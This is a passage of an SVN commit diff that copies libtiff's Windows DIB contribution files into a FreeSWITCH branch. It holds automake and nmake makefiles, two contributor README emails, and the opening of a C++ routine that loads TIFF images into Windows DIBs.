+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ../..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+subdir = contrib/win_dib
+DIST_COMMON = $(srcdir)/Makefile.am $(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+SOURCES =
+DIST_SOURCES =
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+EXTRA_DIST = Makefile.w95 README.Tiffile README.tiff2dib Tiffile.cpp tiff2dib.c
+all: all-am
+
+.SUFFIXES:
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  contrib/win_dib/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  contrib/win_dib/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+tags: TAGS
+TAGS:
+
+ctags: CTAGS
+CTAGS:
+
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-am
+all-am: Makefile
+installdirs:
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-libtool mostlyclean-am
+
+distclean: distclean-am
+	-rm -f Makefile
+distclean-am: clean-am distclean-generic distclean-libtool
+
+dvi: dvi-am
+
+dvi-am:
+
+html: html-am
+
+info: info-am
+
+info-am:
+
+install-data-am:
+
+install-exec-am:
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-generic mostlyclean-libtool
+
+pdf: pdf-am
+
+pdf-am:
+
+ps: ps-am
+
+ps-am:
+
+uninstall-am: uninstall-info-am
+
+.PHONY: all all-am check check-am clean clean-generic clean-libtool \
+	distclean distclean-generic distclean-libtool distdir dvi \
+	dvi-am html html-am info info-am install install-am \
+	install-data install-data-am install-exec install-exec-am \
+	install-info install-info-am install-man install-strip \
+	installcheck installcheck-am installdirs maintainer-clean \
+	maintainer-clean-generic mostlyclean mostlyclean-generic \
+	mostlyclean-libtool pdf pdf-am ps ps-am uninstall uninstall-am \
+	uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/Makefile.w95

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/Makefile.w95 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/win_dib/Makefile.w95) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/Makefile.w95	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/Makefile.w95	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,134 @@
+#	$Header: /usr/people/sam/tiff/libtiff/RCS/Makefile.w95,v 1.2 1994/11/28
+06:13:31 sam Exp $
+#
+# Tag Image File Format Library
+#
+# Copyright (c) 1988, 1989, 1990, 1991, 1992 Sam Leffler
+# Copyright (c) 1991, 1992 Silicon Graphics, Inc.
+# 
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+#
+# This Makefile is for use with microsoft nmake version 1.50 and 
+# Microsoft 32-bit C/C++ Compiler 9.00
+#
+DESTDIR=.
+#
+IPATH=	-I. 
+CONF_LIBRARY=$(NULL)
+COPTS=	-Oxa -DBSDTYPES -Zd
+CFLAGS=	$(COPTS)  $(CONF_LIBRARY)
+#
+INCS=	tiff.h tiffio.h
+SRCS=	tif_aux.c \
+	tif_close.c \
+	tif_codec.c \
+	tif_compress.c \
+	tif_dir.c \
+	tif_dirinfo.c \
+	tif_dirread.c \
+	tif_dirwrite.c \
+	tif_dumpmode.c \
+	tif_error.c \
+	tif_getimage.c \
+	tif_jpeg.c \
+	tif_flush.c \
+	tif_lzw.c \
+	tif_next.c \
+	tif_open.c \
+	tif_packbits.c \
+	tif_predict \
+	tif_print.c \
+	tif_read.c \
+	tif_swab.c \
+	tif_strip.c \
+	tif_thunder.c \
+	tif_tile.c \
+	tif_version.c \
+	tif_warning.c \
+	tif_write.c \
+	tif_win32.c 
+		
+	
+OBJS=	tif_aux.obj \
+	tif_close.obj \
+	tif_codec.obj \
+	tif_compress.obj \
+	tif_dir.obj \
+	tif_dirinfo.obj \
+	tif_dirread.obj \
+	tif_dirwrite.obj \
+	tif_dumpmode.obj \
+	tif_error.obj \
+	tif_getimage.obj \
+	tif_jpeg.obj \
+	tif_flush.obj \
+	tif_lzw.obj \
+	tif_next.obj \
+	tif_open.obj \
+	tif_packbits.obj \
+	tif_predict.obj \
+	tif_print.obj \
+	tif_read.obj \
+	tif_swab.obj \
+	tif_strip.obj \
+	tif_thunder.obj \
+	tif_tile.obj \
+	tif_version.obj \
+	tif_warning.obj \
+	tif_write.obj \
+	tif_win32.obj 
+	
+	
+
+ALL=	libtiff.lib
+
+all:	 $(ALL)
+
+%.obj : %.c
+	$(CC) $(CFLAGS) -c $*.c
+
+
+#.INCLUDE .IGNORE : depend
+
+libtiff.lib: $(OBJS)
+	 - del libtiff.lib
+	 lib /OUT:libtiff.lib $(OBJS)
+
+
+#To include fax3 support, you need to modify mkg3states.c so it could run
+#under windows 95 or NT. This application make the file g3state.h.
+#after that, you have to add to the build script : tif_fax3.c and tif_fax3.obj
+#and define CCITT_SUPPORT in the file tifconf.h
+
+#$(OBJS): tiffio.h tiff.h tiffcomp.h tiffiop.h tiffconf.h
+#tif_fax3.obj: tif_fax3.c g3states.h t4.h tif_fax3.h
+
+#g3states.h: mkg3states.c t4.h
+#	$(CC) $(CFLAGS) mkg3states.c
+#	mkg3states -c > g3states.h
+
+
+clean:
+	del *.obj
+        del mkg3stat
+        del g3states.h
+
+tags:	$(SRCS)
+	$(CTAGS) $(SRCS)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/README.Tiffile

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/README.Tiffile (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/win_dib/README.Tiffile) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/README.Tiffile	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/README.Tiffile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,31 @@
+Frank,
+
+I attached a file that uses RGBA interface (tif_getimage.c) to read a tiff
+file and convert to a DIB.  It's advantage is that it is easy to read *any*
+tiff file suported by libtiff and easily convert it to a DIB.  The disadvantage
+is that bilevel (B&W) bitmaps (and all other non-rgba images) are also 
+converted to RGBA, thus taking up 32x as much memory as needed (4 bytes per 
+pixel, rather than 1 bit).  I read tiff files, but don't need to
+write them.  And my files are typically small, so the overhead is mostly
+inconsequential.  But for bilevel images, I overrode the get() and put()
+routines of the RGBA interface to just copy the data from the input raster
+to the output raster, rather than expanding out to full 32 bit format.  It
+would be nice if there were a simple way to handle all palletized images,
+but that would take more custom routines, and it's not that important to me.
+
+Usage:
+
+    m_pDIB = (PBITMAPINFOHEADER)::ReadTIFF(pathName);
+    if (m_pDIB != 0) {
+       m_format = IMAGETYPE_TIF;
+    }
+
+This is intended as Win32, but the modifications for new get() and put()
+routines may be independent of platform.
+
+Thanks for your work supporting the forum and the library!
+
+Regards,
+
+Mark James
+mark@james.net

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/README.tiff2dib

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/README.tiff2dib (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/win_dib/README.tiff2dib) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/README.tiff2dib	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/README.tiff2dib	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,51 @@
+
+Date: 04 Dec 95 10:34:23 EST
+From: Philippe <100423.3705@compuserve.com>
+To: TIFF/sam Leffler <sam@cthulhu.engr.sgi.com>
+Subject: TIFF library and Windows 95
+Message-Id: <951204153422_100423.3705_BHG101-1@CompuServe.COM>
+
+Sam, 
+
+First, let me thanks all of you how have worked 
+on that great TIFF library !
+
+Here is some information that may help someone.
+
+I build the library under Windows 95 as a 32-bit library.
+The contribution of Scott Wagner (tif_win32.c) worked fine, but 
+the makefile "makefile.msc" was unsable because it was
+written for DOS or Windows 3.1 and all the files names 
+are limited to 8 characters.
+
+Here is the makefile I used : makefile.w95
+
+Also, I had to disable fax3 support because I wasn't able
+to build (as it is) the tool "mkg3states" to generate the include
+file "g3states.h". 
+This source file must be modify to be build under Windows 95.
+
+To build the library under Windows 95 with Visual C++ 2.0, 
+I had to :
+
+- undefine CCITT_SUPPORT in "tiffconf.h"
+
+- create the file version.h with this line :
+      #define VERSION "3.4beta024"
+
+- build the makefile "makefile.w95"
+
+I also join the source file "tif2dib.c" that I created, 
+it contain the function LoadTIFFinDIB that load 
+a TIFF file and build a memory DIB with it and return the 
+HANDLE (HDIB) of the memory bloc containing this DIB.
+Since DIB is the "natural" bitmap format for Windows 3.1, 95 and NT,
+this function sould be usefull for some Windows 95 (or NT) developer.
+
+
+Sorry for my approximate english ...
+
+Regards,
+
+Philippe Tenenhaus   100423.3705@compuserve.com
+Paris

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/Tiffile.cpp

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/Tiffile.cpp (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/win_dib/Tiffile.cpp) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/Tiffile.cpp	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/Tiffile.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,442 @@
+#include "StdAfx.h"
+
+//#define STRICT
+#include <windows.h>
+#include <windowsx.h>
+#include <commdlg.h>
+#include <stdlib.h>                     // MAX_ constants
+#include "diblib.h"
+
+/*--------------------------------------------------------------------
+        READ TIFF
+        Load the TIFF data from the file into memory.  Return
+        a pointer to a valid DIB (or NULL for errors).
+        Uses the TIFFRGBA interface to libtiff.lib to convert
+        most file formats to a useable form.  We just keep the 32 bit
+        form of the data to display, rather than optimizing for the
+        display.
+
+        Main entry points:
+
+            int ChkTIFF ( LPCTSTR lpszPath )
+            PVOID ReadTIFF ( LPCTSTR lpszPath )
+
+        RETURN
+            A valid DIB pointer for success; NULL for failure.
+
+  --------------------------------------------------------------------*/
+
+#include "TiffLib/tiff.h"
+#include "TiffLib/tiffio.h"
+#include <assert.h>
+#include <stdio.h>
+
+
+// piggyback some data on top of the RGBA Image
+struct TIFFDibImage {
+    TIFFRGBAImage tif;
+    int  dibinstalled;
+} ;
+
+
+HANDLE LoadTIFFinDIB(LPCTSTR lpFileName);
+HANDLE TIFFRGBA2DIB(TIFFDibImage* dib, uint32* raster)  ;
+
+static void
+MyWarningHandler(const char* module, const char* fmt, va_list ap)
+{
+    // ignore all warnings (unused tags, etc)
+    return;
+}
+
+static void
+MyErrorHandler(const char* module, const char* fmt, va_list ap)
+{
+    return;
+}
+
+//  Turn off the error and warning handlers to check if a valid file.
+//  Necessary because of the way that the Doc loads images and restart files.
+int ChkTIFF ( LPCTSTR lpszPath )
+{
+    int rtn = 0;
+
+    TIFFErrorHandler  eh;
+    TIFFErrorHandler  wh;
+
+    eh = TIFFSetErrorHandler(NULL);
+    wh = TIFFSetWarningHandler(NULL);
+
+    TIFF* tif = TIFFOpen(lpszPath, "r");
+    if (tif) {
+        rtn = 1;
+        TIFFClose(tif);
+    }
+
+    TIFFSetErrorHandler(eh);
+    TIFFSetWarningHandler(wh);
+
+    return rtn;
+}
+
+void DibInstallHack(TIFFDibImage* img) ;
+
+PVOID ReadTIFF ( LPCTSTR lpszPath )
+{
+    void*             pDIB = 0;
+    TIFFErrorHandler  wh;
+
+    wh = TIFFSetWarningHandler(MyWarningHandler);
+
+    if (ChkTIFF(lpszPath)) {
+        TIFF* tif = TIFFOpen(lpszPath, "r");
+        if (tif) {
+            char emsg[1024];
+
+            if (TIFFRGBAImageOK(tif, emsg)) {
+                TIFFDibImage img;
+                char emsg[1024];
+
+                if (TIFFRGBAImageBegin(&img.tif, tif, -1, emsg)) {
+                    size_t npixels;
+                    uint32* raster;
+
+                    DibInstallHack(&img);
+
+                    npixels = img.tif.width * img.tif.height;
+                    raster = (uint32*) _TIFFmalloc(npixels * sizeof (uint32));
+                    if (raster != NULL) {
+                        if (TIFFRGBAImageGet(&img.tif, raster, img.tif.width, img.tif.height)) {
+                            pDIB = TIFFRGBA2DIB(&img, raster);
+                        }
+                    }
+                    _TIFFfree(raster);
+                }
+                TIFFRGBAImageEnd(&img.tif);
+            }
+            else {
+                TRACE("Unable to open image(%s): %s\n", lpszPath, emsg );
+            }
+            TIFFClose(tif);
+        }
+    }
+
+    TIFFSetWarningHandler(wh);
+
+    return pDIB;
+}
+
+
+
+HANDLE TIFFRGBA2DIB(TIFFDibImage* dib, uint32* raster)
+{
+    void*   pDIB = 0;
+    TIFFRGBAImage* img = &dib->tif;
+
+    uint32 imageLength;
+    uint32 imageWidth;
+    uint16 BitsPerSample;
+    uint16 SamplePerPixel;
+    uint32 RowsPerStrip;
+    uint16 PhotometricInterpretation;
+
+    BITMAPINFOHEADER   bi;
+    int                dwDIBSize ;
+
+    TIFFGetField(img->tif, TIFFTAG_IMAGEWIDTH, &imageWidth);
+    TIFFGetField(img->tif, TIFFTAG_IMAGELENGTH, &imageLength);
+    TIFFGetField(img->tif, TIFFTAG_BITSPERSAMPLE, &BitsPerSample);
+    TIFFGetField(img->tif, TIFFTAG_ROWSPERSTRIP, &RowsPerStrip);
+    TIFFGetField(img->tif, TIFFTAG_SAMPLESPERPIXEL, &SamplePerPixel);
+    TIFFGetField(img->tif, TIFFTAG_PHOTOMETRIC, &PhotometricInterpretation);
+
+    if ( BitsPerSample == 1 && SamplePerPixel == 1 && dib->dibinstalled ) {   // bilevel
+        bi.biSize           = sizeof(BITMAPINFOHEADER);
+        bi.biWidth          = imageWidth;
+        bi.biHeight         = imageLength;
+        bi.biPlanes         = 1;  // always
+        bi.biBitCount       = 1;
+        bi.biCompression    = BI_RGB;
+        bi.biSizeImage      = WIDTHBYTES(bi.biWidth * bi.biBitCount) * bi.biHeight;
+        bi.biXPelsPerMeter  = 0;
+        bi.biYPelsPerMeter  = 0;
+        bi.biClrUsed        = 0;  //  must be zero for RGB compression (none)
+        bi.biClrImportant   = 0;  // always
+
+        // Get the size of the DIB
+        dwDIBSize = GetDIBSize( &bi );
+
+        // Allocate for the BITMAPINFO structure and the color table.
+        pDIB = GlobalAllocPtr( GHND, dwDIBSize );
+        if (pDIB == 0) {
+            return( NULL );
+        }
+
+        // Copy the header info
+        *((BITMAPINFOHEADER*)pDIB) = bi;
+
+        // Get a pointer to the color table
+        RGBQUAD   *pRgbq = (RGBQUAD   *)((LPSTR)pDIB + sizeof(BITMAPINFOHEADER));
+
+        pRgbq[0].rgbRed      = 0;
+        pRgbq[0].rgbBlue     = 0;
+        pRgbq[0].rgbGreen    = 0;
+        pRgbq[0].rgbReserved = 0;
+        pRgbq[1].rgbRed      = 255;
+        pRgbq[1].rgbBlue     = 255;
+        pRgbq[1].rgbGreen    = 255;
+        pRgbq[1].rgbReserved = 255;
+
+        // Pointers to the bits
+        //PVOID pbiBits = (LPSTR)pRgbq + bi.biClrUsed * sizeof(RGBQUAD);
+        //
+        // In the BITMAPINFOHEADER documentation, it appears that
+        // there should be no color table for 32 bit images, but
+        // experience shows that the image is off by 3 words if it
+        // is not included.  So here it is.
+        PVOID pbiBits = GetDIBImagePtr((BITMAPINFOHEADER*)pDIB);  //(LPSTR)pRgbq + 3 * sizeof(RGBQUAD);
+
+        int       sizeWords = bi.biSizeImage/4;
+        RGBQUAD*  rgbDib = (RGBQUAD*)pbiBits;
+        long*     rgbTif = (long*)raster;
+
+        _TIFFmemcpy(pbiBits, raster, bi.biSizeImage);
+    }
+
+        //  For now just always default to the RGB 32 bit form.                                                       // save as 32 bit for simplicity
+    else if ( true /*BitsPerSample == 8 && SamplePerPixel == 3*/ ) {   // 24 bit color
+
+        bi.biSize           = sizeof(BITMAPINFOHEADER);
+        bi.biWidth          = imageWidth;
+        bi.biHeight         = imageLength;
+        bi.biPlanes         = 1;  // always
+        bi.biBitCount       = 32;
+        bi.biCompression    = BI_RGB;
+        bi.biSizeImage      = WIDTHBYTES(bi.biWidth * bi.biBitCount) * bi.biHeight;
+        bi.biXPelsPerMeter  = 0;
